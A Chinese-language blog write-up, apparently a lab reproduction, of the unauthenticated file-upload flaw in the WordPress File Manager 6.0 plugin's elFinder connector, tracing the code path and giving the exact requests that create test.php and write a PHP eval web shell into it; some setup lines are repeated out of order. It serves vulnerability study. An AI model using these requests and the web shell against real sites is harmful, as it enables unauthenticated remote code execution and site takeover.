点击上方蓝字 关注我吧
环境搭建
利用phpstudy搭建wordpress,
将解压一次后的漏洞插件压缩包上传并启用插件。
File Manager插件6.0版本
https://wordpress.org/plugins/wp-file-manager/advanced/ 漏洞利用
在 exp-db 搜索 elFinder 下载下来的漏洞利用文件需要修改部分 漏洞分析
发送一个这样的payload来进行创建文件的操作
漏洞触发位置
通过创建elFinderConnector对象,进而调用elFinderConnector.run 读取所有的请求参数保存到
返回$path =
成功利用还可以直接利用
http://wordpress.test/wp-admin/plugin-install.php
将解压一次后的漏洞插件压缩包上传并启用插件。
File Manager插件6.0版本
https://wordpress.org/plugins/wp-file-manager/advanced/ 漏洞利用
这段代码来自 elFinder 项目,这是一个向 Web 应用程序提供文件浏览器 GUI 的框架。这个非常具体的代码仅作为示例,而不能在生产应用程序中直接使用。但是,正如我们所看到的,使用了它,结果是可以执行这部分代码而无需进行身份验证。
在 exp-db 搜索 elFinder 下载下来的漏洞利用文件需要修改部分 漏洞分析
发送一个这样的payload来进行创建文件的操作
http://wordpress.test/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=mkfile&name=test.php&target=l1_Lw
漏洞触发位置
/wp-content/plugins/wp-file-manager/lib/php
/connector.minimal.php
通过创建elFinderConnector对象,进而调用elFinderConnector.run 读取所有的请求参数保存到
$src
中,
$cmd
获取 cmd 变量。
\elFinderConnector::run
接着执行到循环
foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
对
$cmd
进行校验
跟进函数
commandArgsList
\elFinder::commandArgsList
\elFinder::commandExists
通过判断
$cmd
,在 $this->commands[$cmd] 中发现了可以调用的方法
\elFinder::$commands
继续执行,发现
$this->output($this->elFinder->exec($cmd, $args));
\elFinder::exec
控制
$cmd
= makedile 时, 为满足条件继续向下执行,需要传入
$target
或者
$dst
。
$this->volume($dst)
根据传入的
$dst
前缀进行选择
l1_
或者
t1_
我们在后面进行调试时会发现生成文件的位置前缀为所对应的 root 的值 ,所以我们在这里选择
l1_
\elFinder::volume
继续执行到动态调用,通过
$result = $this->$cmd($args);
调用makefile方法。
\elFinderVolumeDriver::mkfile
$path = $this->decode($dst);
\elFinderVolumeDriver::decode
decode 函数先将
$hash
的值根据
$this->id
进行分割,然后替换字串并进行 base64 解码 然后拼接 所对应的
$this->root
返回$path =
E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files
继续回到 mkfile 函数中执行
\elFinderVolumeLocalFileSystem::_mkfile
最后顺利生成文件在
E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files\test.php
对于网站的位置就是
\wp-content\plugins\wp-file-manager\lib\files\test.php
然后再调用 PUT 方法,传值到 mkfile 生成的文件内。
http://wordpress.test/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=put&target=l1_dGVzdC5waHA=&content=<?php eval($_GET['cmd']);?>
前一部分不在详述,直接跟到
$result = $this->$cmd($args);
调用 put 方法
\elFinder::put
\elFinderVolumeDriver::putContents
\elFinderVolumeDriver::decode
decode 函数 先将
$hash
的值根据
$this->id
进行分割,然后替换字串并进行 base64 解码 然后拼接 所对应的
$this->root
最后会返回 $path 的值为
E:\Tools\phpstudy_pro\WWW\wordpress\wp-content\plugins\wp-file-manager\lib\files\test.php
\elFinderVolumeLocalFileSystem::_filePutContents
成功将字符串写入文件中
成功利用还可以直接利用
upload
方法,上传文件
\elFinder::upload
点分享
点点赞
点在看